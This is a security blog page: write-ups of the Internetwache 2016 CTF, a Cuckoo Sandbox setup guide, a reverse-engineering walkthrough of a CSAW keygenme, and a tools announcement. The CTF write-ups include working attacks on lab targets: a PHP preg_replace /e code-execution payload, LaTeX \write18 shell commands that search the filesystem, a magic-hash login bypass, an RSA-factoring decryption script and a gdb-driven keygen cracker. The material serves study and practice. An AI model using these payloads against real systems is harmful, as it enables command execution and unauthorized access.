Kolobyte - Eugene Kolodenker

Internetwache 2016 CTF Writeups

The team I run at Boston University just got done competing in the Internetwache 2016 CTF. It was a bunch of fun, and we came in 84th out of 647 active teams, solving over 75% of the challenges.

In light of team members expressing their frustration when reading other people's writeups and how failures are not published enough, this set of writeups by me is going to have some failures =D.

Writeups

ServerfARM

(rev70, solved by 186)

Someone handed me this and told me that to pass the exam, I have to extract a secret string. I know cheating is bad, but once does not count. So are you willing to help me?

I teamed up with @kierk for this challenge.

After unzipping the challenge, we're presented with a single ELF32 ARM binary.

file serverfarm  
serverfarm: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped  

Opening it up in IDA:

serverfarm1

Ignoring what it even does, jumping around to the subroutine it's calling (renamed to handle_task) and pressing tab to get IDA pseudocode.

serverfarm2

At this point, we're able to statically look over the code, with the knowledge of how the flag is supposed to look and piece together:

IW{S.E + .R.V.E + .R>=F: + A:R:M}

IW{S.E.R.V.E.R>=F:A:R:M}  

Quick Run

(misc60, solved by 269)

Someone sent me a file with white and black rectangles. I don't know how to read it. Can you help me?

This was a funny challenge where after unzipping it you're presented with a single file that contains a bunch of wonky looking text. If you base64 decode it, you're presented with a set of:

██████████████████████████████████████████████
██              ██    ██  ████              ██
██  ██████████  ██████  ██  ██  ██████████  ██
██  ██      ██  ██  ██████  ██  ██      ██  ██
██  ██      ██  ██████████████  ██      ██  ██
██  ██      ██  ██    ██    ██  ██      ██  ██
██  ██████████  ████  ████████  ██████████  ██
██              ██  ██  ██  ██              ██
██████████████████████  ██  ██████████████████
████  ████  ██  ████████      ████  ██  ██  ██
██  ██  ██  ████  ██  ██████      ██████    ██
██  ██          ██  ██      ████  ████████  ██
██  ████████  ██  ██  ██  ██  ██  ██  ██  ████
████  ██    ██  ██  ██  ██  ██  ██  ██  ██  ██
████████████████████  ██  ██  ██  ██  ██  ████
██              ██████  ██  ██  ██  ██  ██  ██
██  ██████████  ████  ██  ██  ██  ██  ██  ████
██  ██      ██  ██  ██  ██  ██  ██  ██  ██  ██
██  ██      ██  ████  ██  ██  ██  ██  ██  ████
██  ██      ██  ██████  ██  ██  ██  ██  ██  ██
██  ██████████  ██    ████████  ████  ██    ██
██              ██████          ██  ██  ██  ██
██████████████████████████████████████████████

These are actually QR codes, decoding each one reveals:

flagis:IW{QR_C0DES_RUL3}  

We could've saved 5 minutes by realizing to start looking for 'IW' first, and not decoding 'flagis:'.

Mess of Hash

(web50, solved by 170)

Students have developed a new admin login technique. I doubt that it's secure, but the hash isn't crackable. I don't know where the problem is...

This was an interesting challenge. On unzipping the challenge you're presented with a single README.txt.

All info I have is this:  
<?php

$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {  
    return preg_replace("/[^0-9a-f]/","",$hash);
}

function myhash($str) {  
    return clean_hash(md5(md5($str) . "SALT"));
}

The website listed in the challenge description is simply a login screen. It's unlikely the challenge is meant to be an SQL injection, or XSS, or anything like that. Checking some basic directories/files consistent with the other challenges tells me that admin.php doesn't exist, nor does admin, but flag.php is there, it's just not readable (flag.php page loads, it's just blank).

So we have to somehow read that flag.php. There's really two ways, it's either just presented to us if we login as the 'pr0_adm1n' user, or via SQLi. Let's see what we can think of for how to login as 'pr0_adm1n' knowing we have what seems to be the server-side hashing code, and the admin's hashed password.

Path of least resistance... we can guess the hash is md5, based on the length of it, let's see if it's cracked already online! Nope, google shows up nothing. Okay, so the hashing code seems to take in a $str, which I guess is probably the password when a user is created in this fictional school (from the challenge description). The password is hashed, then the string "SALT" is appended to it, i.e. salting it, and then it's hashed again. And then for some reason, that I'm not too sure about, it seems to remove all non-hex characters.

The hashing seems clean. I don't see how to get a hash collision, and bruteforce would be lame, and considering it's not found online, it's probably not a short password. I'm out of ideas here, the best I can think of is that this is another one of PHP's infamous security holes, and the md5 function is somehow poorly implemented. Googling for "md5 php dangerous" leads me to PHP: md5('240610708') == md5('QNKCDZO'). Interesting... so reading that it seems that PHP has a weird type issue:

All of them start with 0e, which makes me think that they're being parsed as floats and getting converted to 0.0.

This is exactly what we have. We just have to find a string that myhash()'s into something that starts with 0e, and then it will collide with the check on $admin_pw. Turns out the requirement is a bit stricter, and every hex character after 0e also has to be decimal, 0-9, for the conversion to float 0.0 to happen. But, this is still doable, and we now have a much smaller search space.

<?php  
$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {  
    return preg_replace("/[^0-9a-f]/","",$hash);
}

function myhash($str) {  
    return clean_hash(md5(md5($str) . "SALT"));
}

function generateRandomString($length = 10) {  
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

for ($i = 0; $i < 100000000; $i++) {  
    $result = generateRandomString(8);
    if (myhash($result) == $admin_pw) {
        print("woo!");
        print($result . "  " . myhash($result) . "\n");
    }
}
?>
woo!KyJg0SXC  0e588095185108872523046880371953  

Logging in with the username, pr0_adm1n, and password, KyJg0SXC, will lead to a hash collision, and at login flag.php is displayed.

IW{T4K3_C4RE_AND_C0MP4R3}  

Brute with Force

(code80, solved by 90)

People say, you're good at brute forcing... Have fun! Hint: You don't need to crack the 31. character (newline). Try to think of different (common) time representations. Hint2: Time is CET

This is a task I did not successfully get. After reviewing other people's solutions, I realized my mistake was misunderstanding the expected format.

Upon connecting to the challenge server, you're presented with:

Hint: Format is TIME:CHAR  
Char 0: Time is 19:33:21, 052th day of 2016 +- 30 seconds and the hash is: b3007e6bb4ae0e4ff58c719fc11fa89f8cb4cb78  

My thoughts:

So we have a format of TIME:CHAR, however we don't know what exactly is TIME defined as, and what is CHAR defined as? Time could be "19:33:21", or maybe they meant they want the format as "19:33:21, 052th day of 2016 +- 30 seconds", or maybe it's something else? And what is the hash for?

After some debate with the team, I come to the conclusion that they expect the format like this <Time in some format>:<Char presented to you>, where the time can be +/- 30 seconds of when you connected/got the prompt. The hash of that guess should be equal to the hash presented to you. You respond back to the server with <The time that hashed correctly>:<Char presented to you>, and you'll then get sent back the first character of the flag. Do this 32(?) times, and you'll have the flag. Okay!

So there's still the unanswered question of what date format do they want. I'll try everything on the first hash prompted to us (CHAR: 0), whichever date format worked out for that, is the date format we'll use for the next 31 hashes!

#!/usr/bin/python
import subprocess  
import hashlib


for i in range(-30, 30):  
    dates = []
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%T' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%s' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%Y%m%d-%H%M%S' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%H%M%S' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%R' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%r' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date '+%c' --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date -R --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date -Iseconds --date='+{} seconds'".format(str(i)), shell=True))
    dates.append(subprocess.check_output("TZ=Europe/Rome date --rfc-3339=seconds --date='+{} seconds'".format(str(i)), shell=True))

    for date in dates:
        guess = date.strip() + ":0"
        print(guess)
        print(hashlib.sha1(guess).hexdigest())

Wrong.

Nothing hashed to the hash prompted to us. At this point it was late, I was tired, and cursing the challenge. Just tell us what date format you expect! I really don't want to go and Google every imaginable date format there is, and test with every single one. So we didn't solve this challenge.

After the competition, other people's solutions made it clear to me what was wrong. I would have gotten the TIME format correct, my issue was actually the CHAR format. I thought you only had to bruteforce the time, and the 'Char 0', but actually you had to also bruteforce the CHAR. If I simply had another nested loop in my solver trying every ASCII character, I'd have gotten the challenge. Live and learn.

Replace with Grace

(web60, solved by 268)

Regular expressions are pretty useful. Especially when you need to search and replace complex terms.

It's a site that does simple search and replace on an input string.
For example:

Search: /cow/  
Replace: cat  
Input: cows are cute <3  
-> cats are cute <3

My thought process for this challenge was then to find some sort of command injection. I was guessing that the site was using UNIX sed, by using pseudocode like:

cmd = 's' + <search> + <replace> + '/'  
system("echo <input> | sed -i cmd")  

A command injection in this case could be done by making <replace> something like /;cat flag;. But this wasn't working. I tried a few more avenues to get command injection in. Nothing worked. I was still convinced this was command injection into a UNIX shell, so I gave up for a bit and did other challenges.

Coming back to the challenge, after solving a few other web challenges, made me realize that this is probably just feeding strings into PHP's (since all the other web challenges are written in PHP) search and replace function. I'm not a PHP developer, but googling for PHP search and replace leads me to preg_replace. Okay, it's probably this... doesn't seem bad, but PHP is notorious for being dangerous, so let's search up "preg_replace dangerous". Sure enough, preg_replace has a "bug/feature/wtf" where appending an /e to the <search> parameter will cause the <replace> parameter to be executed as code. Simple.

Testing some payloads, there seems to be a list of blocked words, that's nice that they tell us this error message and let us know our payload is on the right track. The blocked word checker is case-sensitive, and funny enough, PHP is not.

Search: /cow/e  
Replace: syStEm("cat flag.php")  
Input: Hi Mom!  
-> $FLAG = IW{R3Pl4c3_N0t_S4F3}

TexMaker

(web90, solved by 193)

Creating and using coperate templates is sometimes really hard. Luckily, we have a webinterace for creating PDF files. Some people doubt it's secure, but I reviewed the whole code and did not find any flaws.

On this challenge website, you're presented with a web app that parses LaTeX into a PDF, and returns that PDF to you. Essentially it's a web wrapper around the CLI pdftex. We already have code running on a machine, and the challenge creators were kind enough to provide us with a print of the stdout.

I've only used LaTeX once before (recently for a paper I submitted to a conference), so I'm fairly knew, but gained a lot of exposure to it. From experience, I know LaTeX is powerful, and can include other files inside of files, i.e. include a fragment .tex file inside of a parent .tex. So, let's Google for how to include a file. It took a lot of wrestling around in LaTeX, but I was finally able to get LaTeX to read an entire file line by line into a PDF, and export that PDF to me.

I decided I need to find a way to execute commands from LaTeX, to get a file listing, to find out where a flag file is. It turns out there's the \immediate\write18{ls xyz.* > temp.dat} construct in LaTeX. write18 is a function that is essentially system("...") for LaTeX. We can do a find / -name "*flag*" and find any files named flag on the file system.

\immediate\write18{find / -name "*flag*" > hihi}
\openin5=hihi
\makeatletter
\newread\myread
\newcount\linecnt
\openin\myread=hihi
\@whilesw\unless\ifeof\myread\fi{%
  \advance\linecnt by \@ne
  \readline\myread to \line
  \line
}
\makeatother
\closein5

Please excuse the shitty LaTeX that probably makes no sense, but this seemed to work mostly.

This returned nothing. Okay, perhaps the flag is stored in a random file. Let's change our system command to search every file for the string 'IW' (the flag format), ls -R / | grep 'IW', and see what we get.
This returns a giant PDF with a bunch of junk. Doing a search using a PDF editor for "flag" reveals:

matchesfl/var/www/texmaker.ctf.internetwache.org/flag.php:$FLAG = ”IW–L4T3x ̇IS ̇Tur1ng ̇c0mpl3t  

Weirdly formatted, but with some knowledge of other flags, I'm able to guess the actual flag is meant to be IW{L4T3x_IS_Tur1ng_c0mpl3te}.

Oh Bob!

(crypto60, solved by 167)

Alice wants to send Bob a confidential message. They both remember the crypto lecture about RSA. So Bob uses openssl to create key pairs. Finally, Alice encrypts the message with Bob's public keys and sends it to Bob. Clever Eve was able to intercept it. Can you help Eve to decrypt the message?

After unzipping the challenge, we're presented with four files, three public keys, and one file with three encrypted strings.

cat bob.pub  
-----BEGIN PUBLIC KEY-----
MDgwDQYJKoZIhvcNAQEBBQADJwAwJAIdDVZLl4+dIzUElY7ti3RDcyge0UGLKfHs  
+oCT2M8CAwEAAQ==
-----END PUBLIC KEY-----
cat secret.enc  
DK9dt2MTybMqRz/N2RUMq2qauvqFIOnQ89mLjXY=

AK/WPYsK5ECFsupuW98bCFKYUApgrQ6LTcm3KxY=

CiLSeTUCCKkyNf8NVnifGKKS2FJ7VnWKnEdygXY=  

The description tells us, that we have to decrypt the secret encoded messages. This is public-key cryptography, but all we have are the public keys. To decrypt the messages, we need the private keys.

Luckily, judging by the size of the base64 encoded public keys, the keys are very small. RSA is only secure when a large enough key is used at a minimum 1024-bits, and 2048-bits or more is recommended.

I've never done this before, so my thought was to first figure out what type of key this is, and then figure out how to extract the components of the key (asymmetric keys are not typically simple byte arrays, but instead several numbers concatenated together), and then see where to go from there. This lead me no where. Finding the right openssl commands to use on the key was proving impossible. Every command I found online to simply figure out the type of public key (we don't know if it's RSA, DSA, or something else) inside the given files was giving an error. Eventually I stumbled upon something that finally worked:

openssl asn1parse -dump -i -in bob2.pub  
    0:d=0  hl=2 l=  56 cons: SEQUENCE          
    2:d=1  hl=2 l=  13 cons:  SEQUENCE          
    4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
   15:d=2  hl=2 l=   0 prim:   NULL              
   17:d=1  hl=2 l=  39 prim:  BIT STRING        

Okay, at this point at least I know it's an RSA key finally. I sort of can guess from the output of this that the parts of the key take up 39 bytes. I know that in RSA the "key size" is actually just the modulus in the RSA equation, so the key is ~256 bits - bruteforceable.

Through some luck I stumbled upon, https://warrenguy.me/blog/regenerating-rsa-private-key-python. Following his guide I'm able import a public key, and obtain the key's modulus and exponent (the 2 numbers stored in an RSA public key). The modulus can be factored into p*q, through bruteforce, since the modulus is so small - this is a significantly harder bruteforce when the modulus is 4096 bits. Using those factors, we then obtain the final piece of an RSA private key, the private exponent (a RSA private key is p,q,d, whereas a public key is n,e). Pycrypto has a great construct function that allows to easily recreate the corresponding private key. Applying this approach to each of Bob's public keys we can decrypt each message in secret.enc.

Some additional finagling has to be done to apply each recovered private key to each part of the secret.enc file. For that I just used simple copy pasting into 3 separate files. Padding is also typically used in crypto, and we have to account for that. And finally, the authors either messed up or intentionally (or maybe I messed something up?) ordered the messages in secret.enc as corresponding to bob.pub,bob3.pub, bob2.pub in that order.

from Crypto.PublicKey import RSA  
from Crypto.Cipher import PKCS1_v1_5  
import gmpy  
import base64  
from Crypto import Random  
from Crypto.Hash import SHA

bob1 = """-----BEGIN PUBLIC KEY-----  
MDgwDQYJKoZIhvcNAQEBBQADJwAwJAIdDVZLl4+dIzUElY7ti3RDcyge0UGLKfHs  
+oCT2M8CAwEAAQ==
-----END PUBLIC KEY-----"""
bob2 = """-----BEGIN PUBLIC KEY-----  
MDgwDQYJKoZIhvcNAQEBBQADJwAwJAIdCiM3Dn0PsAIyFkrG1kKED8VOkgJDP5J6  
YOta29kCAwEAAQ==  
-----END PUBLIC KEY-----"""
bob3 = """-----BEGIN PUBLIC KEY-----  
MDgwDQYJKoZIhvcNAQEBBQADJwAwJAIdDFtp4ZeeVB+F2s3iqhTSciqEb0Gz24Pm  
Z+Oz0R0CAwEAAQ==  
-----END PUBLIC KEY-----"""

pub1 = RSA.importKey(bob1)  
pub2 = RSA.importKey(bob2)  
pub3 = RSA.importKey(bob3)

n1 = long(pub1.n)  
e1 = long(pub1.e)  
n2 = long(pub2.n)  
e2 = long(pub2.e)  
n3 = long(pub3.n)  
e3 = long(pub3.e)

# Obtained using msieve. Should probably fully pythonize this by using pysieve.
p1 = 17963604736595708916714953362445519  
q1 = 20016431322579245244930631426505729  
p2 = 16514150337068782027309734859141427  
q2 = 16549930833331357120312254608496323  
p3 = 17357677172158834256725194757225793  
q3 = 19193025210159847056853811703017693

d1 = long(gmpy.invert(e1,(p1-1)*(q1-1)))  
d2 = long(gmpy.invert(e2,(p2-1)*(q2-1)))  
d3 = long(gmpy.invert(e3,(p3-1)*(q3-1)))

key1 = RSA.construct((n1,e1,d1))  
key2 = RSA.construct((n2,e2,d2))  
key3 = RSA.construct((n3,e3,d3))

# THE KEYS WERE OUT OF ORDER!!! AAARGH!
with open('secret1.bin','r') as f1:  
    enc1 = f1.read()
with open('secret3.bin','r') as f2:  
    enc2 = f2.read()
with open('secret2.bin','r') as f3:  
    enc3 = f3.read()

dsize = SHA.digest_size  
sentinel = Random.new().read(15+dsize)

cipher = PKCS1_v1_5.new(key1)  
secret = cipher.decrypt(enc1, sentinel)  
print("--- secret 1 ---")  
print(secret)

cipher = PKCS1_v1_5.new(key2)  
secret = cipher.decrypt(enc2, sentinel)  
print("--- secret 2 ---")  
print(secret)

cipher = PKCS1_v1_5.new(key3)  
secret = cipher.decrypt(enc3, sentinel)  
print("--- secret 3 ---")  
print(secret)  
IW{WEAK_RSA_K3YS_4R3_SO_BAD!}  

Installing and setting up Cuckoo Sandbox

Been busy last two weeks completing a research paper. Hopefully the code I made for the paper can be released soon. For now, here's some snippets I used to set up part of the environment for the research. (Intentionally vague, as it's not published yet)

This is a quick guide for how to install Cuckoo Sandbox to work with Virtualbox VMs.

Install dependencies for Cuckoo

sudo apt-get install python  
sudo apt-get install mongodb  
sudo apt-get install g++  
sudo apt-get install python-dev python-dpkt python-jinja2 python-magic python-pymongo  
python-gridfs python-libvirt python-bottle python-pefile python-chardet python-pip  
sudo apt-get install libxml2-dev libxslt1-dev  
sudo pip2 install sqlalchemy yara  
sudo pip2 install cybox==2.0.1.4  
sudo pip2 install maec==4.0.1.0  
sudo pip2 install python-dateutil

sudo apt-get install python-dev libfuzzy-dev  
sudo pip2 install pydeep

sudo apt-get install tcpdump # If not installed  
# Allow tcpdump to read raw TCP data without root:
sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

wget http://downloads.volatilityfoundation.org/releases/2.4/volatility-2.4.zip && unzip volatility-2.4.zip && cd volatility-2.4  
sudo python setup.py install  
# Install the libraries that volatility wants:
sudo pip2 install distorm3  

Install Cuckoo and Virtual Box

You'll still have to set up the virtual machine, and configure Cuckoo to use that VM. But at least this script will download them for you!

Check out Cuckoo's full documentation here: http://docs.cuckoosandbox.org/en/latest/

git clone git://github.com/cuckoosandbox/cuckoo.git  
wget http://download.virtualbox.org/virtualbox/5.0.14/virtualbox-5.0_5.0.14-105127~Ubuntu~trusty_i386.deb  
sudo dpkg -i virtualbox-5.0_5.0.14-105127~Ubuntu~trusty_i386.deb  
sudo apt-get install -f  

Cuckoo has really good flexibility to be expanded for your needs. It's entirely open source, and the code base isn't too bad. However, they make it even easier for you with some decent documentation. I blogged about the structure of Cuckoo and how to add custom features to it before, so check it out.

Networking

If you follow the Cuckoo documentation then you'll want to set up a host-only network adapter between your guest virtual machine and your host machine. After you do that through the Virtualbox settings, you have to set up the iptables rules for the communication to work.

sudo iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT;  
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT;  
sudo iptables -A POSTROUTING -t nat -j MASQUERADE;  
sudo sysctl -w net.ipv4.ip_forward=1;  

A walk through the binary with IDA

Want to learn reverse engineering? Continue ahead. This is a walkthrough of the "keygenme" reversing challenge from NYU's CSAW 2013 CTF competition. I try to be thorough and highlight how to solve both a CTF challenge, and how to use standard and modern reverse engineering tools.

Reversing : keygenme

someone has leaked a binary from an activation server.
can you crack the keygen algorithm for me?

using the ELF provided, reverse the keygeneration algorithm.
The server listening at raxcity.com on port 2000 will ask you for
the passwords of various usernames. If you can provide 10 passwords, you might get a nice flag :-)

*hint*
Rumor has it that the actual keygen runs in a custom vm. I'd start by decoding the instruction format.

Try to make it break

Play with the binary and give it inputs. See if you can draw conclusions, or make it crash.

$ ./keygenme32.elf
usage: ./keygenme32.elf <username> <token 1> <token 2>  
$ ./keygenme32.elf hellohello 123 123
error: hellohello is not a valid name  
$ ./keygenme32.elf hellohellohello1 123 123
:-(

Simply running it gives us the usage details. Trying out different sized usernames leads us to figuring out that the username for the keygen has to be 16+ characters. I couldn't get any crashes, which is reasonable since it's a "reversing" challenge, and not a pwning challenge.

High level picture from disassembly

Let's use IDA to see what the binary is about.

Our beloved main entry point

We enter main. The first fork leads us to either calling printusage() or not.
We probably want to go down the path of not calling printusage().

Next fork is the length check that we already figured out.

And then bam! A gigantic linear procedure.
This looks like a lot of work. Trying to decompile with the tab hotkey doesn't work. We can try to decompile the entire thing (Ctrl+F5), and see if that's any better -- nope, the main() didn't decompile for some reason.

Huge procedure in IDA

A first pass high-level human decompilation of the huge function, that I've renamed chal_logic(), looks like it's along the lines of:

call strtoul(argv[2])  
call strtoul(argv[2])  
allocate some std::strings...  
get a random huge constant...  
    dword ptr [esp+4], offset a00004820212900...
some more string stuff...  
construct a new cpu::cpu object... # the hint did say the keygen algo runs in a VM  
    calls cpu::fillmemory()
cpu::execute() is called # the fake VM CPU must take that previous constant and treat it as a series of instructions by loading it into its *fake* memory  
call getT6()  
call getT7()  
call check(int, int, int, int)  
either a sadface or happyface is printed  

You might've noticed that after the block is another branch. That branch appears to just be some C++ garbage collection, as they both merge to the same point afterwards. It can be ignored.

Digging deeper

If you paid attention, I mentioned a couple paragraphs back that you can use tab to switch to pseudocode. That's huge and nifty. But, IDA has a lot of other small things that makes it useful. If you take a look at the disassembly text that IDA gave us in the chal_logic block, you'll notice a lot of pseudo-variables.

NOTE: Assembly comments beginning with <--- are my own, and others are autogenerated by IDA.

var_28 seems to be C++'s this pointer for the cpu::cpu object. You can see this, because the ebx register is typically used to store the this pointer by C++ compilers.

call    _ZN3cpuC2ESsSsSs   ; cpu::cpu(std::string,std::string,std::string)
mov     [ebp+var_28], ebx  ; <--- Notice ebx, going into var_28

var_2C, and var_30 appear to be the return values of GetT6() and GetT7(). This is evident with the simple knowledge that in x86, compilers use eax to store the return value of functions.

call    _ZN3cpu5GetT6Ev    ; cpu::GetT6(void)
mov     [ebp+var_2C], eax  ; <--- The return value of GetT6 is placed into eax, and var_2C
mov     eax, [ebp+var_28]  ; <--- Recall that var_28 is 'this' in respect to the cpu::cpu object
mov     [esp], eax         ; this
call    _ZN3cpu5GetT7Ev    ; cpu::GetT7(void)
mov     [ebp+var_30], eax  ; <--- The return value of GetT7 is placed into eax, and var_30
mov     ebx, [ebp+var_28]
test    ebx, ebx           ; <--- This part is some C++ garbage collection cruft
jz      short loc_804A10A

After GetT6() and GetT7() are called, a call to check(int, int, int, int) is done. Let's see what four ints get passed to check().

In the most common calling convention found on x86, cdecl, arguments get passed to functions off of the stack. In cdecl, the arguments of a function are pushed onto the stack in reverse order -- the function being called expects the top of the stack to be the the first argument to it. It looks like the call to check is check(var_2C, var_30, var_20, var_24).

NOTE: If you're not familiar with the stack, I'm going to be doing a write-up on it soon. For now, it's just a place in memory that acts like a stack data structure (last in, first out) and is used in x86 computer architecture.

From earlier we know that var_2C and var_30 are T6 and T7 respectively. So, what is var_20 and var_24? Let's look back at what IDA disassembled for us. Use the x hotkey on var_20 to get xrefs to it. This will list everywhere that var_20 is cross referenced.

call    _strtoul  
mov     [ebp+var_20], eax  ; <--- var_20 is the return of strtoul  
call    _strtoul  
mov     [ebp+var_24], eax  ; <--- var_24 is the return of strtoul  

var_20 is the return value of the 1st strtoul(). And our other friend, var_24 is the return value of the 2nd strtoul().

So this check(var_2C, var_30, var_20, var_24) call is actually:
check(T6 from the fake computer, T7 from the fake computer, first int input, second int input)

Figuring out what check() does is actually really easy. You can slowly reverse it by using an x86 ref
manual
, or testing if IDA can do the work for us. Luckily the tab hotkey to see pseudo-code works.

_BOOL4 __cdecl check(int a1, int a2, int a3, int a4)  
{
  return __PAIR__(a2, a1) == __PAIR__(
                               (unsigned __int8)a4 | (BYTE3(a4) << 8) | ((unsigned __int8)((unsigned __int16)(a4 & 0xFF00) >> 8) << 16) | ((unsigned int)(unsigned __int8)((a4 & 0xFF0000) >> 16) << 24),
                               a3 ^ 0x31333337u);
}

Rewritten into python, and replacing the variable names with variable names to our liking:

def check(T6, T7, intarg1, intarg2):  
    temp1 = intarg1 ^ 0x31333337u
    temp2 = BYTE0(intarg2) | (BYTE3(intarg2) << 8) | (BYTE1(intarg2) << 16) | (BYTE2(intarg2) << 24)
    if temp1 != T6 or temp2 != T7:
       return false
    return true

The weird __PAIR__ keyword can basically be ignored. It's just comparing the 1st arguments of each pair, and then the 2nd arguments of each pair. If both comparisons is true, then true is returned. The BYTEn(x) macro is used to mean "the nth byte of x", where BYTE0 is the least significant byte

Okay, we almost have this binary figured out. However, we still need to know how the first argument, the username, is being used. It probably affects what "T6" and "T7" end up being by altering the instructions that get executed on the fake computer.

If var_20 is the the first numeric input, argv[2], then it would stand to reason that argv[1], the username, is var_1C.

mov     eax, [ebx+4]
add     eax, 4
mov     eax, [eax]
mov     [esp], eax   
call    _strlen
mov     [ebp+var_1C], eax
cmp     [ebp+var_1C], 0Fh  ; <--- Compare var_1C to 16
jg      short loc_8049F49

It looks like var_1C is compared to 16, so it's actually probably the length of the username, and not the actual username string. Going up a bit from the cmp instruction, it looks like the actual username string is in:

mov     eax, [ebx+4]
add     eax, 4  ; <--- eax now points to the username string

We can quickly leverage IDA's auto highlighting of selected variables by clicking on 'ebx' and seeing what glows yellow. The only place I see that's equiv to "ebx+8" is here:

mov     eax, [ebx+4]
add     eax, 4  ; <--- eax now points to the username string
mov     eax, [eax]
lea     edx, [ebp+var_4A]
mov     [esp+8], edx
mov     [esp+4], eax
lea     eax, [ebp+var_50]
mov     [esp], eax
call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)

So it would appear that the username is used to create a std::string. Bunch more of std::string family function calls, and we can see that the username string is being concatenated to the random constant string we saw earlier.

What we know so far

So far our analysis of the binary tells us:

  • The binary takes 3 arguments
    • Username, a 16+ char string
    • Two integer arguments (they get converted from c-strings to ints with strtoul())
  • The binary constructs a cpu::cpu, a fake virtual computer
  • The binary fills the cpu::cpu, with some data from a long string, "000048202129009.."
  • The data is also derived from the username argument
  • The binary then runs cpu::execute to simulate running a computer with the memory/instructions loaded into it
  • The binary then gets T6 and T7 from that fake CPU after execution is finished.
  • The binary then runs a check(T6, T7, intarg1, intarg2)
  • If the check passes, we get a smileyface.

We know the username argument to the keygen is used as a seed to a fake computer to get T6 and T7 values out. We can reverse engineer the fake computer, and figure out how the username affects the instructions ran on it. However, I have a smarter and lazier idea -- it's a a computer, a fake one, but still a computer. That means it's a deterministic finite state machine. The same string input we give to it, will always produce the same output.

Recall the task at hand. We are to provide the correct key for 10 different usernames to a remote server. We have a leaked keygen binary, that takes a username and a key and tells us if they match. We can leverage this leaked keygen binary, and simply feed it the usernames that the remote server asks for. We can insert a debug break point right before the check() call in the binary, and see what arguments to it are. The first two arguments will be the fake computer's T6, and T7. Using those values, we can simply do math for the key that the remote server's check() function is expecting in return. Send it, and get a smileyface :-).

Writing our crack

We can leverage gdb's python scripting capability. Note however, that the python script has to be inside of gdb, after you launch it. We can use my shoe.py script to talk remotely to the server. Recall also that we have to do the check() function in reverse. We will be getting the T7, and we need to figure out what we can give for intarg that will shuffles around and form T7.

intarg    |  a  |  b  |  c  |  d  |  
               \   /     |     |
                 \      /      |
                /  \   /       |
              /      \/        |
             /      /  \       | 
            v      v    v      |
T7        |  1  |  2  |  3  |  4  |  
intarg =  |  3  |  1  |  2  |  4  |  
import gdb  
import sys

sys.path.append('.') # This is a hack to be able to import a local library  
import shoe

def get_t6t7(username):  
    keypart1 = "0x123123" # whatever
    keypart2 = "0x123123" # whatever

    prog = "/home/eugenek/code/buhacknight/workshops/keygenme-400/keygenme32.elf"
    args = "{} {} {}".format(username, keypart1, keypart2)
    check_bp = "0x0804A125"

    gdb.execute("file " + prog)
    gdb.execute("b *" + check_bp)
    gdb.execute("r " + args)

    T6 = gdb.parse_and_eval("*(unsigned int*)$esp")
    T7 = gdb.parse_and_eval("*(unsigned int*)($esp + 4)")

    print("T6 = {} T7 = {}".format(T6,T7))
    return (T6, T7)

def crack_keys(T6, T7):  
    keypart1 = T6 ^ 0x31333337
    keypart2 = (T7 & 0x000000FF) | (((T7 & 0x00FF0000) >> 16) << 8) | (((T7 & 0xFF000000) >> 24) << 16) | (((T7 & 0x0000FF00) >> 8) << 24) 
    return (keypart1, keypart2)

## Talk to the server and get what username it wants
## then send it back the cracked key
s = shoe.Shoe('localhost', 12123)  
resp = s.read_until("\r\n") # Welcome msg  
for i in range(0,10):  
    resp = s.read_until("\n").decode('utf-8') # Username msg
    print(resp)
    username = resp[-23:].rstrip()
    t6, t7 = get_t6t7(username)
    keypart1, keypart2 = crack_keys(t6, t7)

    ans = "{} {}\n".format(str(int(keypart1)), str(int(keypart2)))
    s.write(ans)
    resp = s.read_until("\n").decode('utf-8') # The smiley
    print(resp)

resp = s.read_until("\n") # Let's get our flag!  
print(resp)  
s.close()  

Run the script above in gdb:

$ source pwn.py
give me the password for l5R7Hd06vdzCEgVNBgUS1g
T6 = 719604441 T7 = 1692167297
:-)
give me the password for yhL6Ir0_kkEiIBkqhmJgsQ
T6 = 3377606778 T7 = 1557326192
:-)
... 8 more of these ...
b"here's the flag key{vM_k3yg3n_a1n7_n0_th4ng}\n"

Releasing a couple sets of security tools

I've been working on congregating a bunch of security and development related tools into easy to install repositories. You can see the list of tools for yourself and grab the repo.

Grab the windows version: https://github.com/eugenekolo/win-sec-tools

Linux version: https://github.com/eugenekolo/sec-tools

git clone https://github.com/eugenekolo/sec-tools  
./sec-tools/bin/manage-tools.sh setup
source ~/.bashrc

# list the available category/tools
manage-tools list

# install whatever <category/tool-name>
manage-tools install binary/radare2

# use the tool - your path is automatically configured
rabin2 -e /bin/ls

The Windows version at the moment is just a bunch of installer.exe's that I downloaded off the respective site.

The Linux version is a bit more sophisticated in that it's a separate install shell script for each tool organized into categories. See the usage details on github.

Be sure to submit any pull requests or issues :smile:!

Stack ASCII visualization

Highest Memory  
